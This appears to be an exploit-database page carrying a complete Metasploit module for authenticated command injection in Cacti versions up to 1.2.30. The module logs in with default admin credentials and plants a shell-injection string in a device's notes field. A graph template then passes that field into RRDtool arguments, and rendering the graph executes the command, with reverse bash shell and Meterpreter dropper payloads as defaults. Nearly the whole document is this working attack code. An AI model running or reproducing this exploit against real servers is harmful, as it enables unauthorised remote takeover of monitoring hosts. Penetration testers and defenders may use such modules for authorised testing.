Share
## https://sploitus.com/exploit?id=PACKETSTORM:225025
==================================================================================================================================
    | # Title     : Cacti โ‰ค 1.2.30 Authenticated RCE via Host Variable Injection                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.cacti.net/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This is a Metasploit exploit module targeting Cacti (โ‰ค 1.2.30 and 1.3.0-dev) for authenticated remote code execution (RCE).
    
    [+] Payload    : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Cacti Authenticated Remote Code Execution via Host Variable Injection',
          'Description'    => %q{
            This module exploits an OS command injection vulnerability in Cacti 
            (versions โ‰ค 1.2.30 and 1.3.0-dev). Any authenticated user with device 
            and graph template creation privileges can execute arbitrary commands 
            on the underlying server. The flaw exists because user-controlled host 
            metadata fields (specifically the device notes field) are substituted 
            into RRDtool command-line arguments via Cacti's variable replacement 
            engine without any sanitization or escaping.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>['indoushka'],
          'References'     =>
            [
              ['CVE', '2026-39949'],
              ['URL', 'https://github.com/rapid7/metasploit-framework']
            ],
          'DisclosureDate' => '2026-06-18',
          'Platform'       => %w[linux unix],
          'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
          'Targets'        =>
            [
              ['Unix/Linux (In-Memory Command)', 
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              ['Linux (Dropper)', 
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARM64, ARCH_ARMLE],
                  'Type' => :dropper,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ]
            ],
          'DefaultTarget'  => 0,
          'Privileged'     => false,
          'DisablePayloadHandler' => false,
          'DefaultOptions' =>
            {
              'SSL' => false,
              'WfsDelay' => 2
            }
        ))
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path to Cacti installation', '/cacti/']),
            OptString.new('USERNAME', [true, 'Username for Cacti', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for Cacti', 'admin'])
          ])
      end
      def username
        datastore['USERNAME']
      end
      def password
        datastore['PASSWORD']
      end
      def base_uri
        normalize_uri(datastore['TARGETURI'])
      end
      def check
        print_status("Checking Cacti version...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_uri, 'index.php')
        })
        unless res
          return Exploit::CheckCode::Unknown('Target did not respond to check.')
        end
        if res.body =~ /Cacti.*?v?([0-9]+\.[0-9]+\.[0-9]+)/
          version = $1
          print_status("Detected Cacti version: #{version}")
          if version <= '1.2.30'
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected")
          elsif version == '1.3.0-dev'
            return Exploit::CheckCode::Appears("Vulnerable development version #{version} detected")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
          end
        end
        Exploit::CheckCode::Detected
      end
      def get_csrf_token(uri, params = nil)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => params
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to retrieve CSRF token')
        end
        if res.body =~ /name=["']__csrf_magic["'][^>]*value=["']([^"']+)["']/
          return $1
        end
        fail_with(Failure::UnexpectedReply, 'Could not find CSRF token')
      end
      def login
        print_status("Authenticating as #{username}...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'index.php'))
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'index.php'),
          'vars_post' => {
            'action' => 'login',
            'login_username' => username,
            'login_password' => password,
            '__csrf_magic' => csrf_token
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Login request failed')
        end
        if res.headers['Set-Cookie'] =~ /Cacti/
          print_good("Login successful")
          return true
        end
        fail_with(Failure::NoAccess, 'Login failed - check credentials')
      end
      def create_device(notes)
        print_status("Creating device with malicious notes...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'host.php'), { 'action' => 'edit' })
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'host.php'),
          'vars_post' => {
            'action' => 'save',
            'save_component_host' => '1',
            'reindex_method' => '1',
            'id' => '0',
            'host_template_id' => '0',
            'description' => 'poc',
            'hostname' => '127.0.0.1',
            'location' => '',
            'poller_id' => '1',
            'site_id' => '1',
            'device_threads' => '1',
            'availability_method' => '0',
            'snmp_options' => '0',
            'ping_method' => '1',
            'ping_port' => '23',
            'ping_timeout' => '400',
            'ping_retries' => '1',
            'snmp_version' => '2',
            'snmp_community' => 'public',
            'snmp_security_level' => 'authPriv',
            'snmp_auth_protocol' => 'MD5',
            'snmp_username' => '',
            'snmp_password' => '',
            'snmp_password_confirm' => '',
            'snmp_priv_protocol' => 'DES',
            'snmp_priv_passphrase' => '',
            'snmp_priv_passphrase_confirm' => '',
            'snmp_context' => '',
            'snmp_engine_id' => '',
            'snmp_port' => '161',
            'snmp_timeout' => '500',
            'snmp_retries' => '3',
            'max_oids' => '10',
            'bulk_walk_size' => '0',
            'external_id' => '',
            'notes' => notes,
            '__csrf_magic' => csrf_token
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to create device')
        end
        if res.headers['Location'] =~ /[?&]id=(\d+)/
          host_id = $1
          print_good("Device created with ID: #{host_id}")
          return host_id
        end
        fail_with(Failure::UnexpectedReply, 'Could not extract host ID')
      end
      def create_template
        print_status("Creating graph template...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'graph_templates.php'), 
                                    { 'action' => 'template_edit' })
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'graph_templates.php'),
          'vars_post' => {
            'action' => 'save',
            'save_component_template' => '1',
            'graph_template_id' => '0',
            'graph_template_graph_id' => '0',
            'name' => 'poc',
            'class' => 'unassigned',
            'version' => '',
            'title' => 'poc',
            'vertical_label' => '',
            'image_format_id' => '1',
            'height' => '200',
            'width' => '700',
            'base_value' => '1000',
            'auto_scale_opts' => '2',
            'upper_limit' => '100',
            'lower_limit' => '0',
            'unit_value' => '',
            'unit_exponent_value' => '',
            'unit_length' => '',
            'right_axis' => '',
            'right_axis_label' => '|host_notes|', 
            'right_axis_format' => '0',
            'right_axis_formatter' => '0',
            'left_axis_format' => '0',
            'left_axis_formatter' => '0',
            'tab_width' => '',
            'legend_position' => '0',
            'legend_direction' => '0',
            'rrdtool_version' => '1.7.2',
            '__csrf_magic' => csrf_token
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to create template')
        end
        if res.headers['Location'] =~ /[?&]id=(\d+)/
          template_id = $1
          print_good("Template created with ID: #{template_id}")
          return template_id
        end
        fail_with(Failure::UnexpectedReply, 'Could not extract template ID')
      end
      def create_graph(host_id, template_id)
        print_status("Creating graph...")
        csrf_token = get_csrf_token(normalize_uri(base_uri, 'graphs_new.php'), 
                                    { 'reset' => 'true', 'host_id' => host_id })
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(base_uri, 'graphs_new.php'),
          'vars_post' => {
            'save_component_graph' => '1',
            'cg_g' => template_id,
            'host_id' => host_id.to_s,
            'host_template_id' => '0',
            'action' => 'save',
            'graph_type' => '-2',
            'rows' => '-1',
            '__csrf_magic' => csrf_token
          }
        })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_uri, 'host.php'),
          'vars_get' => {
            'action' => 'edit',
            'id' => host_id
          }
        })
        unless res
          fail_with(Failure::Unreachable, 'Failed to retrieve graph ID')
        end
        if res.body =~ /graph_edit&(?:amp;)?id=(\d+)/
          graph_id = $1
          print_good("Graph created with ID: #{graph_id}")
          return graph_id
        end
        fail_with(Failure::UnexpectedReply, 'Could not extract graph ID')
      end
      def trigger_graph(graph_id)
        print_status("Triggering graph to execute payload...")
        
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_uri, 'graph_image.php'),
          'vars_get' => {
            'local_graph_id' => graph_id,
            'rra_id' => '0',
            'graph_start' => '-3600',
            'graph_end' => '0'
          }
        })
      rescue => e
        print_debug("Trigger request completed (expected error for background execution)")
      end
      def execute_command(cmd, opts = {})
        payload = "'; (#{cmd} &); '"
        host_id = create_device(payload)
        template_id = create_template
        graph_id = create_graph(host_id, template_id)
        trigger_graph(graph_id)
        print_status("Waiting for payload to execute...")
        sleep(2)
      end
      def exploit
        login
        case target['Type']
        when :cmd
          print_status("Executing command payload...")
          execute_command(payload.raw)
          
        when :dropper
          print_status("Executing dropper payload...")
          execute_cmdstager(linemax: 2000)
        end
        
        print_good("Exploit completed!")
      end
    end
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================